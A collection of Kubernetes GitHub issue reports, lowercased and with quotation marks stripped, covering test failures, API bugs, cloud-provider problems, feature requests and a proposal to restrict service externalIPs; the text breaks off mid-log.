<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r e2e test \ gci-gce\  is running in 2 versions:\r   with kube-dns as dns service : https://k8s-testgrid.appspot.com/sig-network-gce gci-gce\r   with coredns as dns service : https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-coredns\r \r in coredns use case the test is failing\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/dns_autoscaling.go:53\r expected error:\r     < errors.errorstring | 0xc420eb17e0>: {\r         s: \ expected 1 dns deployment, got 0\ ,\r     }\r     expected 1 dns deployment, got 0\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/dns_autoscaling.go:63\r    \r \t\t\t\t\r   what you expected to happen  :\r this e2e tests should not depend on what dns service is running as default in k8s.\r \r coredns is currently beta, will move to ga soon  after v1.10 though \r see : https://github.com/kubernetes/features/issues/427\r \r   how to reproduce it  as minimally and precisely as possible   :\r look at logs of dashboard : https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-coredns\r \r \r  go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-autoscaling\\ \\sdns\\shorizontal\\sautoscaling\\s\\ disabledforlargeclusters\\ \\skube\\-dns\\-autoscaler\\sshould\\sscale\\skube\\-dns\\spods\\sin\\sboth\\snonfaulty\\sand\\sfaulty\\sscenarios$'\r  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : branch master\r - cloud provider or hardware configuration: gce\r - install tools: deployment intra-test\r - others: see https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-coredns\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r csi 1.0 decorates sensitive fields with  csi_secret . let's take advantage of this feature to programmatically ensure no sensitive csi fields are ever logged by kubernetes components  kubelet .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r when sending a request to the server side apply endpoint   -xpatch -h\ content-type: application/apply-patch+yaml\   , if the apiversion provided in the object is different from the apiversion in the url, it returns a 500 error, like:\r    \r \ status\ : \ failure\ ,\r \ message\ : \ failed to merge config: expected objects of the same type, but got {...} and {...}\ ,\r \ code\ : 500\r    \r \r   what you expected to happen  :\r the request should fail if the apiversion provided in the object is different from the apiversion in the url, but it should fail before trying to merge, and be a 4xx error. probably a bad request error.\r \r   anything else we need to know?  :\r the check should probably be done somewhere near this  todo comment  https://github.com/kubernetes/kubernetes/blob/d73dbfc8c1bdc443cf6bf2f70a7789b689815cf7/staging/src/k8s.io/apiserver/pkg/endpoints/handlers/fieldmanager/fieldmanager.go l154-l156 . the issue, though, is that the patch is given as a byte array, and needs to be deserialized into an object to access the apiversion field.\r \r   how to reproduce it  as minimally and precisely as possible   :\r with a kube-apiserver built from head, running with  --feature-gates=serversideapply=true :\r    \r curl -xpatch -h\ content-type: application/apply-patch+yaml\  -d\ {\\\ apiversion\\\ :\\\ extensions/v1beta1\\\ ,\\\ kind\\\ :\\\ deployment\\\ ,\\\ metadata\\\ :{\\\ name\\\ :\\\ test\\\ },\\\ spec\\\ :{\\\ selector\\\ :{\\\ matchlabels\\\ :{\\\ app\\\ :\\\ foo\\\ }},\\\ template\\\ :{\\\ metadata\\\ :{\\\ labels\\\ :{\\\ app\\\ :\\\ foo\\\ }},\\\ spec\\\ :{\\\ containers\\\ : {\\\ name\\\ :\\\ c\\\ ,\\\ image\\\ :\\\ i\\\ } }}}}\  127.0.0.1:8080/apis/apps/v1/namespaces/default/deployments/test?force=false && echo\r

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and extension points for \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \r  post-bind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md post-bind  plugins are informational and called after a pod is successfully bound. this is the end of a binding cycle, and can be used to clean up associated resources.\r \r  / ref/ kubernetes/enhancements 624

the kube-addon-update.sh script that runs on the master periodically uses kubectl to talk to the apiserver. this is fine, but muddies up the kube-apiserver logs with requests from kubectl that aren't actually user-initiated. it's not a big deal, but would be nice if they had a more appropriate user-agent string.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : 1.3.8 custom build - the code seems to still be in place in master.    environment  : -   cloud provider or hardware configuration  : openstack -   os    e.g. from /etc/os-release : version=\ 14.04.5 lts, trusty tahr\  -   kernel    e.g.  uname -a  : 4.4.0-38-generic  57~14.04.1-ubuntu smp tue sep 6 17:20:43 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : custom -   others  :     what happened  : when the openstack nova api is not accessible nodes are marked as \ notready\   the openstack cloud providers seems to call nova on a schedule to get information. if the api is not contactable, kubelet fails to call back to the masters, and gets marked as notready.  masters also call the nova api, and when it fails, it can mark all nodes as notready.     what you expected to happen  :  nothing - the cluster should still work, regardless of nova's api    how to reproduce it    as minimally and precisely as possible :  install kubernetes using the openstack provider.  on the openstack controller stop the nova-api process.

seccomp is currently defaulted to  unconfined  on docker: https://github.com/kubernetes/kubernetes/blob/9a88687e24b81f301377d91e69629b6b15d4ae83/pkg/kubelet/dockertools/docker_manager.go l120\r \r i believe this is for historical reasons, from https://github.com/kubernetes/kubernetes/pull/21790. however, we now have the ability  albeit alpha  to control seccomp profiles, so we should change the default to the more secure  docker/default  option. this profile is carefully curated, and should provide enhanced security without breaking the majority of users. unfortunately \ the majority\  is not \ everybody\ , so changing this default would be a   breaking   change, and care needs to be taken when rolling it out.\r \r this may also need to wait for seccomp to be promoted to beta.\r \r @vishh @pmorie @kubernetes/sig-node-misc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : \r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r \r journald fluentd\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.4.0\r \r   environment  :\r -   cloud provider or hardware configuration  :\r several vms with 4x vcpu/4g ram\r -   os    e.g. from /etc/os-release :\r centos 7.3\r -   kernel    e.g.  uname -a  :\r 3.10.0-514.6.1.el7.x86_64\r -   install tools  :\r ansible\r -   others  :\r \r \r   what happened  :\r the current fluentd-elasticsearch addon doesn't retrieve kubernetes logs from journald, and in many environments that's the default kubernetes log target.\r \r   what you expected to happen  :\r the image should include fluent-plugin-systemd and td-agent.conf should have configuration for the services using journald.\r \r   how to reproduce it    as minimally and precisely as possible :\r enable the addon, since td-agent is reading nonexistent logfiles, logs are not ingested. \r \r   anything else we need to know  :\r \r fixing the config and adding the plugin would be relatively easy, and i could contribute that. i'm unsure whether it would be more appropriate to keep config for logfiles and journald in the same image or if a separate image should be created. \r \r @kubernetes/sig-instrumentation-misc\r \r edit: added sig, apologies if this is misdirected.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r its a help\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r no i didn't find anything related to this \r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r my service is not running \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i have just restarted the machine and my kubectl service is not up when i run kubectl get node/pod it gives me this \r \ the connection to the server localhost:8080 was refused - did you specify the right host or port?\r \ \r   what you expected to happen  :\r it should give me the list of pods and nodes\r \r   how to reproduce it    as minimally and precisely as possible :\r \r just restart the machine\r   anything else we need to know  :\r \r

all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be evicted after eviction timeout passes\r this test is not passing on https://k8s-testgrid.appspot.com/release-1.6-all gci-gke-serial-1.6&width=20\r \r cc @gmarek

as of v1.6.0, the following  kube-controller-manager  flags are unused and deprecated:\r \r    replication-controller-lookup-cache-size \r    replicaset-lookup-cache-size \r    daemonset-lookup-cache-size \r \r according to the  deprecation policy  https://kubernetes.io/docs/deprecation-policy/  for flags on admin-facing components, we can remove these altogether 6 months after the release of v1.6.0, which should correspond with the   v1.8   milestone.

came up while discussing with @marun that federation controllers assume that they have access to all namespaces and watch resources on all namespaces   example  https://github.com/kubernetes/kubernetes/blob/0df02517254bc59d26086bd350a5e457e1961933/federation/pkg/federation-controller/deployment/deploymentcontroller.go l131  \r \r it should be possible to restrict federation to only specific namespaces.\r \r one way to do this would be to update the controllers to first list all namespaces in federation control plane and then watch resources in those namespaces. open to other suggestions.\r \r cc @kubernetes/sig-federation-misc @marun

we use kubernetes/openshift on our nodes.\r when the node is live migrated due to compute engine maintenace we have currently set it to \ live-migrate\  . \r \r now every instance has a set of fixed disks  typically store data/metadata that moves and lives with the instance . these disks follow the instance life cycle and get deleted when deleting an instance. \r the other is a set of disks managed by the scheduler these are represented at dynamic disks objects and move the pods as they get scheduled across the cluster. they have their own lifecycle and follow the gce policy \ keep disk\ .\r \r when gcp does a live migration there is a certain \ dark period\  where the cluster scheduler picks this up and starts moving pods to a new healthy node however as gcp thinks its live migrating a machine the dynamic disks bound to it don't unbind even after the scheduler calls for it  as they should  .\r the scheduler moves on and tries to bind the volumes  gcp objetcs to the new node the pod moved to  however this fails and as the volume as far as google controllers are concerned are bound to the older instance object. \r \r this is a grave concern for us as it causes some major issues and scheduler failures. \r \r to fix this issue i need to know a few things and comments on the right approach. perhaps you have this solved in gke and could recommend \r \r 1  if is set migration policy to terminate what is the lifecycle of the attached disks? assuming i set the restart policy to true the node would reboot and join the cluster. i want to know what happens to attached disks and how the cloud deals with this. if optimal this could just fix the issue.\r \r 2  hook onto a life cycle even in the instance and call a forced cordon before the move and \ un cordon\  on completion of migration this basically makes the scheduler aware of the underlying moves and take necessary countermeasures.\r \r  

https://k8s-testgrid.appspot.com/master-upgrade gce-1.7-master-upgrade-cluster-parallel\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel/567 k8sio-cronjob-should-adopt-jobs-it-owns-that-dont-have-controllerref-yet\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cronjob.go:327\r wait for job \ adopt-1505507760\  to be readopted\r expected success, but got an error:\r     < errors.errorstring | 0xc4202b31c0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cronjob.go:322\r    \r \r  \r cc @kubernetes/kubernetes-release-managers \r cc @kubernetes/sig-apps-test-failures \r \r assigning to the 1.8 milestone. since we're late in the release cycle, we need to determine if this is a release blocker or not.

is this a bug report or feature request?  :\r \r >  \r how to create a service which load balance between multiple external ips. ?\r \r i do not want create a single endpoints object and add multiple ips since each external ip has its own lifecycle. \r \r selector less service won't help since it requires endpoints to have same name as service, hence i can't have multiple endpoints object.\r \r why does endpoints object doesn't support labels ?\r \r \r

\r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r for now we can use curl -patch to advertise a new resource for a node.like:\r     \r curl --header \ content-type: application/json-patch+json\  \\\r --request patch \\\r --data ' {\ op\ : \ add\ , \ path\ : \ /status/capacity/example.com~1dongle\ , \ value\ : \ 4\ } ' \\\r http://localhost:8001/api/v1/nodes/<your-node-name>/status\r     \r   what you expected to happen  :\r what if i want to add a type of resouce  such as  local-storage   for all my nodes?   can we use an option of  kubelet  so that it can automatically add the resource  when it start with the option like:\r  --extended-resource-map=\ local-storage:100gi\  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :debian 9\r - kernel  e.g.  uname -a  :linux hydev 4.9.0-3-amd64  1 smp debian 4.9.30-2+deb9u2  2017-06-26  x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r kubectl set subject is designed to set the user/serviceaccount in rolebinding/clusterrolebinding object.\r however, the --all option is invalid. for example:\r  kubectl set subject rolebinding --user=foo --namespace=foo-ns  --all \r command above should update every rolebinding object in namespace foo-ns, but it would update just only one.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r i ran the tutorial of running local mysql with minikube \r https://kubernetes.io/docs/tasks/run-application/run-single-instance-stateful-application/\r with its own persistent volume , when trying to create the persistent volume with \r kubectl create -f https://k8s.io/docs/tasks/run-application/mysql-pv.yaml\r it fails and says :\r    \r minikube start --vm-driver=virtualbox\r starting local kubernetes v1.10.0 cluster...\r starting vm...\r getting vm ip address...\r moving files into cluster...\r setting up certs...\r connecting to cluster...\r setting up kubeconfig...\r starting cluster components...\r kubectl is now configured to use the cluster.\r loading cached images from config file.\r \r kubectl config use-context minikube\r switched to context \ minikube\ \r \r kubectl create -f https://k8s.io/docs/tasks/run-application/mysql-pv.yaml\r error: you must be logged in to the server  the server has asked for the client to provide credentials \r    \r   what you expected to happen  :\r the tutorial should succeed end to end with minikube and mysql with persistent volume attached to it \r up and running .\r   how to reproduce it  as minimally and precisely as possible   :\r please try to run the mysql with persistent volume tutorial \r https://kubernetes.io/docs/tasks/run-application/run-single-instance-stateful-application/\r on linux mint 18.3 , latest k8s - 1.10 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.10.3\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : \r ame=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r \r - kernel  e.g.  uname -a  :\r 4.4.0-21-generic  37-ubuntu smp mon apr 18 18:33:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

 \r i created a storage class with provisioner set to my csi driver, and with mountoptions set to a non-empty value.\r \r i expected kubernetes to send the mount options to my csi driver in the mountflags field of the csi rpc, but the field was empty.\r \r reproduction:\r 1  install kubernetes\r 2  install any csi driver\r 3  create a storage class, with the provisioner set to the installed csi driver's name, and the mount options set to something.\r 4  create a pvc, and attach it to a pod\r 5  note that the pod either fails to start up, or if it does start, the mount options are ignored.\r

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the security group isn't removed from openstack after the load balancer was removed from openstack. this process is triggered by removing the load balancer service from kubernetes.\r \r   what you expected to happen  :\r \r i expect that the security group is removed too after the load balancer is removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup kubernetes v1.10.8 cluster with openstack cloud configured:\r \r    \r  global \r auth-url=https://identity.openstack.cloudvps.com/v3\r username=xxx\r password=xxx\r region=xxx\r tenant-name=xxx\r domain-name=default\r  loadbalancer \r lb-version=v2\r subnet-id=xxx\r floating-network-id=xxx\r lb-method=round_robin\r create-monitor=true\r monitor-delay=300s\r monitor-timeout=30s\r monitor-max-retries=3\r manage-security-groups=true\r  route \r router-id=xxx\r    \r \r create a deployment 'hello-world':  kubectl create deployment --image crccheck/hello-world hello-world \r create a loadbalancer service 'hello-world':  kubectl create service loadbalancer hello-world --tcp=80:8000 \r get the external ip from kubernetes:  kubectl get svc  and open the hello-world page\r go to openstack and see that there is a security group created\r remove the loadbalancer service 'hello-world':  kubectl delete svc hello-world \r check that the load balancer is removed but the security group still exists\r \r   anything else we need to know?  :\r \r in the source code, i find this line: https://github.com/kubernetes/kubernetes/blob/v1.10.8/pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go l1508\r \r so, i expect that i should get an error in the controller when the security group couldn't be removed but there isn't.\r \r the log of the controller:\r \r    \r i0925 08:05:48.627547       1 service_controller.go:726  service has been deleted default/hello-world. attempting to cleanup load balancer resources\r i0925 08:05:48.628062       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ hello-world\ , uid:\ afc8e9d7-c099-11e8-9445-02a46508aee5\ , apiversion:\ v1\ , resourceversion:\ 3036559\ , fieldpath:\ \ } : type\r : 'normal' reason: 'deletingloadbalancer' deleting load balancer\r e0925 08:05:51.336694       1 service_controller.go:219  error processing service default/hello-world  will retry : failed to delete loadbalancer: resource not found\r i0925 08:05:51.336873       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ hello-world\ , uid:\ afc8e9d7-c099-11e8-9445-02a46508aee5\ , apiversion:\ v1\ , resourceversion:\ 3036559\ , fieldpath:\ \ } : type\r : 'warning' reason: 'deletingloadbalancerfailed' error deleting load balancer  will retry : failed to delete loadbalancer: resource not found\r i0925 08:05:56.336785       1 service_controller.go:726  service has been deleted default/hello-world. attempting to cleanup load balancer resources\r i0925 08:05:56.337114       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ hello-world\ , uid:\ afc8e9d7-c099-11e8-9445-02a46508aee5\ , apiversion:\ v1\ , resourceversion:\ 3036559\ , fieldpath:\ \ } : type\r : 'normal' reason: 'deletingloadbalancer' deleting load balancer\r i0925 08:05:56.418601       1 event.go:218  event v1.objectreference{kind:\ service\ , namespace:\ default\ , name:\ hello-world\ , uid:\ afc8e9d7-c099-11e8-9445-02a46508aee5\ , apiversion:\ v1\ , resourceversion:\ 3036559\ , fieldpath:\ \ } : type\r : 'normal' reason: 'deletedloadbalancer' deleted load balancer\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.8\ , gitcommit:\ 7eab6a49736cc7b01869a15f9f05dc5b49efb9fc\ , gittreestate:\ clean\ , builddate:\ 2018-09-14t15:54:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r i'm aware of the older client version, this is because our production environment is still v1.8.x because of ealier issues with openstack  which are resolved in the latest 1.10.x version .\r \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :  linux xxx 3.10.0-862.6.3.el7.x86_64  1 smp tue jun 26 16:32:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: n/a\r - others: n/a\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r currently pv_controller  has its own resync loop which periodically list all pvcs/pvs and put them into the queue. one main reason for this resync is that pv_controller does not add the item back if operation fails, so it relies on resync to put them back to get processed. we should consider to use workqueue_addafter method to only add back the object in which the operation fails.\r \r   why is this needed  :\r reduce to overhead of resync to add back all pvc/pv objects and process them.\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r https://github.com/kubernetes/kubernetes/pull/72809\r   why is this needed  :\r when sessionaffinityconfig is different, enqueueservice in update service handler

the  podsecuritycontext  type has a field called  runasnonroot  to indicate that a container must run as non-root user. the description for this field includes the sentence  if unset or false, no such validation will be performed. , which would mean that setting the field to  false  or to  nil   unset  have the same effect:\r \r https://github.com/kubernetes/kubernetes/blob/04f59751ecc4206c8b078d3a29e303617d90a978/pkg/apis/core/types.go l2759-l2767\r \r however, the podsecuritypolicy provider implementation handles the  nil   unset  case differently, and thus does differentiate between unset or  false  values:\r \r https://github.com/kubernetes/kubernetes/blob/ace60e8acb2c62e006884a654936d7e30a67824b/pkg/security/podsecuritypolicy/provider.go l167-l173\r \r the api type documentation should be updated to clarify this behaviour and reflect the actual podsecuritypolicy implementation.\r \r 

@andrewhampton suggested that the aws docs incorporate how to use private repositories with aws in  11938; i am splitting this off into a separate issue.  https://github.com/kubernetes/kubernetes/pull/11938 issuecomment-126395184  > also, it would be nice to see how to add configuration to $home/.dockercfg for accessing private repositories as described here: > https://github.com/googlecloudplatform/kubernetes/blob/v1.0.1/docs/images.md configuring-nodes-to-authenticate-to-a-private-repository

it currently converts to local time, but should remain as close to the wire-format as possible.  anywhere we display time and want to show local time should be ensuring conversion to local time at point of output.

depending on the cluster network configuration, it's possible for an admin to not realize that service  externalip  can be used to trick nodes into diverting incoming traffic to a service under a different user's control.  as an example, an sdn implementation that delivers packets over the sdn onto a node doesn't have the same iptables conditions as our existing externalip checks, which means that packets routed from pods to nodes  for a node port or service fronting pods using hostnetwork  will accept the external ip rule.  we should give the administrator control over which externalips are allowed to be set or whether externalip can be set at all.  using one or more cidr ranges is sufficient  admin can choose  0.0.0.0/0  .   in the future, we probably want to have externalips be not directly settable by end cluster users, since they have the potential to allow any cluster user to masquerade as any other service that is also using externalip

kubernetes 1.3.0 when installed on ubuntu 15.10  ami-ba98b0d9  gives the following error when running the docker binary.        docker ps docker: error while loading shared libraries: libltdl.so.7: cannot open shared object file: no such file or directory      this is easily solved by installing the package libltdl7: apt-get install libltdl7  are there any other workarounds to this issue?

hi. i'm have created k8s cluster by kubernetes/kops on aws. now i'm trying add fluentd-elasticsearch stack  from https://github.com/kubernetes/kubernetes/tree/v1.3.3/cluster/addons/fluentd-elasticsearch  using commands:      % kubectl create -f kibana-service.yaml service \ kibana-logging\  created % kubectl create -f kibana-controller.yaml replicationcontroller \ kibana-logging-v1\  created      then same for elasticsearch. all works fine few minutes and then kibana and elasticsearch resources disappear. in logs /var/log/kube-controller-manager.log i found that they deleted:      i0728 17:25:20.619294       5 replication_controller.go:498  too many \ kube-system\ /\ kubernetes-dashboard-v1.1.0-beta2\  replicas, need 0, deleting 1 i0728 17:25:20.629177       5 event.go:216  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ kube-system\ , name:\ kubernetes-dashboard-v1.1.0-beta2\ , uid:\ 505d98e2-54e7-11e6-85f2-0a8aafcea90f\ , apiversion:\ v1\ , resourceversion:\ 269620\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: kubernetes-dashboard-v1.1.0-beta2-8s7qo i0728 17:25:21.642277       5 replication_controller.go:561  replication controller has been deleted kube-system/kubernetes-dashboard-v1.1.0-beta2 w0728 17:25:26.159680       5 request.go:347  field selector: v1 - serviceaccounts - metadata.name - default: need to check if this is versioned correctly. w0728 17:26:17.011354       5 reflector.go:334  pkg/controller/service/servicecontroller.go:150: watch of  api.service ended with: couldn't queue object: couldn't create key for object &{laststate:0xc82049da00 appliedstate:0xc82049da00 mu:{state:0 sema:0} lastretrydelay:0}: object has no meta: struct service.cachedservice lacks embedded typemeta type  i0728 17:27:35.836837       5 servicecontroller.go:243  got new added delta for service: kube-system/kibana-logging i0728 17:27:35.875265       5 servicecontroller.go:365  not persisting unchanged loadbalancerstatus to registry. i0728 17:27:39.545219       5 replication_controller.go:480  too few \ kube-system\ /\ kibana-logging-v1\  replicas, need 1, creating 1 i0728 17:27:39.555063       5 event.go:216  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ kube-system\ , name:\ kibana-logging-v1\ , uid:\ 954ce332-54e8-11e6-85f2-0a8aafcea90f\ , apiversion:\ v1\ , resourceversion:\ 269921\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: kibana-logging-v1-hb0ij i0728 17:28:43.688026       5 servicecontroller.go:243  got new deleted delta for service: kube-system/kibana-logging i0728 17:28:43.689748       5 servicecontroller.go:259  service kube-system/kibana-logging not found, ensuring load balancer is deleted i0728 17:28:43.711831       5 aws.go:2651  load balancer already deleted: a9317509d54e811e6a55806682ca0e71 i0728 17:28:44.763203       5 replication_controller.go:498  too many \ kube-system\ /\ kibana-logging-v1\  replicas, need 0, deleting 1 i0728 17:28:44.774322       5 event.go:216  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ kube-system\ , name:\ kibana-logging-v1\ , uid:\ 954ce332-54e8-11e6-85f2-0a8aafcea90f\ , apiversion:\ v1\ , resourceversion:\ 270069\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: kibana-logging-v1-hb0ij i0728 17:28:45.775147       5 replication_controller.go:561  replication controller has been deleted kube-system/kibana-logging-v1 i0728 17:28:45.887851       5 replication_controller.go:480  too few \ kube-system\ /\ kubernetes-dashboard-v1.1.0-beta2\  replicas, need 1, creating 1 i0728 17:28:45.897035       5 event.go:216  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ kube-system\ , name:\ kubernetes-dashboard-v1.1.0-beta2\ , uid:\ bcd7eedc-54e8-11e6-85f2-0a8aafcea90f\ , apiversion:\ v1\ , resourceversion:\ 270077\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: kubernetes-dashboard-v1.1.0-beta2-0qtg5      what i'm doing wrong? how can i get some debug/info why this happens?

kubernetes version     1.4.0    environment  :  aws    what happened  :  when using calico in aws i effectively disabled the cloud route creation by untagging my route table.  however it turns out that disabling the source/destination check for aws instances is _only_ done  when kube-controller-manager is managing routes  https://github.com/kubernetes/kubernetes/blob/release-1.4/pkg/cloudprovider/providers/aws/aws_routes.go l118-l123     what you expected to happen  :  it should be possible to continue to use the controller to disable source/destination checks without having it manage the routes themselves    how to reproduce it    as minimally and precisely as possible :  bootstrap an aws cluster and disable cloud route management. source/destination disabling will also be turned off.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/661/  failed:  k8s.io  metricsgrabber should grab all metrics from a kubelet. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/metrics_grabber_test.go:57 expected error:     < errors.statuserror | 0xc4211b9c00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ error: 'dial tcp 10.240.0.5:10250: getsockopt: connection refused'\\\ trying to reach: 'https://bootstrap-e2e-minion-group-0v8s:10250/metrics'\\\   has prevented the request from succeeding  get nodes bootstrap-e2e-minion-group-0v8s:10250 \ ,             reason: \ internalerror\ ,             details: {                 name: \ bootstrap-e2e-minion-group-0v8s:10250\ ,                 group: \ \ ,                 kind: \ nodes\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ error: 'dial tcp 10.240.0.5:10250: getsockopt: connection refused'\ trying to reach: 'https://bootstrap-e2e-minion-group-0v8s:10250/metrics'\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server  \ error: 'dial tcp 10.240.0.5:10250: getsockopt: connection 